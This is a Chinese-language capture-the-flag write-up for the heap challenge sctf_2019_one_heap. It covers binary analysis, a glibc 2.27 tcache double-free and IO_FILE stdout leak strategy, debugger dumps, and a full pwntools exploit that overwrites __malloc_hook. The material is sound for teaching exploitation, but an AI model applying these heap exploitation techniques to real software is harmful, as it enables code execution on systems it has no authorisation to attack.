sctf_2019_one_heap Surager

sctf_2019_one_heap

写在前面

最近感觉到自己的解题技巧没有达到应该的水平,导致自己无论在比赛还是在平常的做题当中都感觉到力不从心。

昨天做到了一道题,题目的内容非常简单。只有一个add和一个delete,只保留了一个指针。而且对malloc和free的次数进行了限制。使用的libc是2.27版本的。因为有了tcache,此题的难度没有太大。

整体来说,此题很考验解题人对堆利用的技巧。所以记录一下。

程序分析

# surager @ ubuntu in ~/work [15:34:26] 
$ file sctf_2019_one_heap
sctf_2019_one_heap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=84e0a50551fc4f6d2ce2466a50d04427f1919877, stripped

# surager @ ubuntu in ~/work [15:34:29] 
$ checksec sctf_2019_one_heap
[*] '/home/surager/work/sctf_2019_one_heap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

保护全开。

unsigned __int64 add()
{
  unsigned int v0; // eax
  size_t v1; // rbx
  unsigned __int64 v3; // [rsp+8h] [rbp-10h]

  v3 = __readfsqword(0x28u);
  if ( !malloctimes )                           // 15
LABEL_5:
    exit(0);
  _printf_chk(1LL, "Input the size:");
  v0 = read_int();
  v1 = v0;
  if ( v0 > 0x7F )
  {
    puts("Invalid size!");
    goto LABEL_5;
  }
  _printf_chk(1LL, "Input the content:");
  ptr = malloc(v1);
  my_read(ptr, v1);
  puts("Done!");
  --malloctimes;
  return __readfsqword(0x28u) ^ v3;
}

限制了size,限制了malloc次数。

unsigned __int64 delete()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-10h]

  v1 = __readfsqword(0x28u);
  if ( !freetimes )                             // 4
    exit(0);
  free(ptr);
  puts("Done!");
  --freetimes;
  return __readfsqword(0x28u) ^ v1;
}

没有清除指针,只有一个指针可用。而且只能free四次。

思路

现在清楚我们需要解决的问题。

1.怎么实现任意地址写。

这个比较简单,double free一个tcache即可。

2.怎么leak信息。

没有show的函数,这里只能打stdout进行leak。概率1/16。但是打stdout的话需要一个libc地址,怎么得到一个libc地址呢。。

最简单的思路是打tcache_perthread_struct。但是只是这样的话就得花费三个free的代价。而且指针还不一定调得回来。

第二个思路是直接add三次,造成某一个tcache的数量成为255(-1),这样就可以直接在原地将此chunk送入unsorted bin,直接修改fd低三位打IO_FILE。

3.一顿操作之后如何打malloc_hook。

一顿乱操作之后,发现只剩一个unsorted bin和一个用来隔开top chunk的tcache bin。但是这里的unsorted bin是可控的。因为在分配到IO_FILE之前的那次malloc时是在原位置malloc的,因此我们可以修改unsorted bin的大小,从而将那个tcache bin包含入其中,从而得到一个tcache链,把堆块分配到malloc_hook。

exp分析

我们先double free一个足够大的chunk,然后找一个chunk隔开top chunk。这里的0x3f的chunk内容留一个伏笔。

add(0x7f,'a')
free()
free()
add(0x3f,'\x00'*0x20+p64(0x90)+'\x20')
free()

之后三次add。

add(0x7f,'')
add(0x7f,'')
add(0x7f,'')

造成的结果。

(0x90)   tcache_entry[7](255): ...

之后free,直接进unsorted bin。

            unsortbin: 0x558b2f75e250 (size : 0x90)
(0x50)   tcache_entry[3](1): 0x558b2f75e2f0
(0x90)   tcache_entry[7](255): 0x558b2f75e260 (overlap chunk with 0x558b2f75e250(freed) )

pwndbg> x/32gx 0x558b2f75e250
0x558b2f75e250:	0x0000000000000000	0x0000000000000091
0x558b2f75e260:	0x00007f214dcc8ca0	0x00007f214dcc8ca0
0x558b2f75e270:	0x0000000000000000	0x0000000000000000
0x558b2f75e280:	0x0000000000000000	0x0000000000000000
0x558b2f75e290:	0x0000000000000000	0x0000000000000000
0x558b2f75e2a0:	0x0000000000000000	0x0000000000000000
0x558b2f75e2b0:	0x0000000000000000	0x0000000000000000
0x558b2f75e2c0:	0x0000000000000000	0x0000000000000000
0x558b2f75e2d0:	0x0000000000000000	0x0000000000000000
0x558b2f75e2e0:	0x0000000000000090	0x0000000000000050
0x558b2f75e2f0:	0x0000000000000000	0x0000000000000000
0x558b2f75e300:	0x0000000000000000	0x0000000000000000
0x558b2f75e310:	0x0000000000000090	0x0000000000000030
0x558b2f75e320:	0x0000000000000000	0x0000000000000000
0x558b2f75e330:	0x0000000000000000	0x0000000000020cd1
0x558b2f75e340:	0x0000000000000000	0x0000000000000000

这样我们可以切割unsorted bin进行指针修改,然后攻击IO_FILE。

add(0x20,'\x50\xb7')
add(0x7f,'\x00'*0x28+p64(0x91))
payload = '\x00'*0x10+p64(0xfbad1880) + p64(0)*3 + '\x00'
add(0x7f,payload)

这里的第二个add的内容可以修改unsorted bin的大小,从而实现chunk overlapping。留个伏笔。

此时的heap分布如下。

            unsortbin: 0x55bb1765e280 (size : 0x90)
(0x50)   tcache_entry[3](1): 0x55bb1765e2f0 (overlap chunk with 0x55bb1765e280(freed) )
(0x90)   tcache_entry[7](253): 0
pwndbg> x/32gx 0x55bb1765e280
0x55bb1765e280:	0x0000000000000000	0x0000000000000091
0x55bb1765e290:	0x00007f892592aca0	0x00007f892592aca0
0x55bb1765e2a0:	0x0000000000000000	0x0000000000000000
0x55bb1765e2b0:	0x0000000000000000	0x0000000000000000
0x55bb1765e2c0:	0x0000000000000000	0x0000000000000000
0x55bb1765e2d0:	0x0000000000000000	0x0000000000000000
0x55bb1765e2e0:	0x0000000000000060	0x0000000000000050
0x55bb1765e2f0:	0x0000000000000000	0x0000000000000000
0x55bb1765e300:	0x0000000000000000	0x0000000000000000
0x55bb1765e310:	0x0000000000000090	0x0000000000000020
0x55bb1765e320:	0x0000000000000000	0x0000000000000000
0x55bb1765e330:	0x0000000000000000	0x0000000000020cd1
0x55bb1765e340:	0x0000000000000000	0x0000000000000000
0x55bb1765e350:	0x0000000000000000	0x0000000000000000
0x55bb1765e360:	0x0000000000000000	0x0000000000000000
0x55bb1765e370:	0x0000000000000000	0x0000000000000000

由于我们的修改,unsorted bin的size被改成了0x90。而此时如果直接切割chunk的话,会造成程序崩溃。原因是size和prev size不对应。所以我们在开头的那个chunk中写入了一个伪造的chunk头0x55bb1765e310: 0x0000000000000090 0x0000000000000030。这样就不会造成程序崩溃了。

之后切割,将malloc_hook填入之前的tcache之中即可。(此处需realloc调整栈帧)

io.sendline("1")
io.sendlineafter("size:",str(0x70))
payload = p64(0)*11+p64(0x51)+p64(libc.sym["__malloc_hook"]-0x8)
io.sendlineafter("content:",payload)
add(0x40,'')
add(0x40,p64(libc.address + 0x10a38c)+p64(libc.sym['__libc_realloc']+4))

完整exp

from pwn import *
elf = ELF("./sctf_2019_one_heap")
libc = ELF("./x64-libc-2.27.so")
#context.log_level = 'debug'

ip = "node3.buuoj.cn"
port = 27612

def add(size,con):
    io.sendlineafter("choice:",'1')
    io.sendlineafter("size:",str(size))
    io.sendlineafter("content:",con)

def free():
		io.sendlineafter("choice:",'2')

def dbg():
    gdb.attach(io)
    pause()

while 1:
    try:
        io = process(["./sctf_2019_one_heap"])
        #io = remote(ip,port)
        add(0x7f,'a')
        free()
        free()
        add(0x3f,'\x00'*0x20+p64(0x90)+'\x20')
        free()
        add(0x7f,'')
        add(0x7f,'')
        add(0x7f,'')
        free()
        add(0x20,'\x50\xb7')
        add(0x7f,'\x00'*0x28+p64(0x91))
        payload = '\x00'*0x10+p64(0xfbad1880) + p64(0)*3 + '\x00'
        add(0x7f,payload)
        libcbase = io.recv()
        if not('\x7f' in libcbase):
            io.close()
            continue
        idx = libcbase.find("\x7f")
        libc.address = u64(libcbase[idx-5:idx+1].ljust(8,'\x00')) - 0x3ed8b0
        log.info("libc.address : "+ hex(libc.address))
        dbg()
        break
        io.sendline("1")
        io.sendlineafter("size:",str(0x70))
        payload = p64(0)*11+p64(0x51)+p64(libc.sym["__malloc_hook"]-0x8)
        io.sendlineafter("content:",payload)
        add(0x40,'')
        add(0x40,p64(libc.address + 0x10a38c)+p64(libc.sym['__libc_realloc']+4))
        #add(0x50,'')
        io.interactive()
        break
    except:
        io.close()
        continue

写在后面

说实话,有时候这种题目直接给我吓死了,做也不敢做。但是实际上好好分析下来,只是细节问题罢了。真正的技巧是不断做题摸索出来的。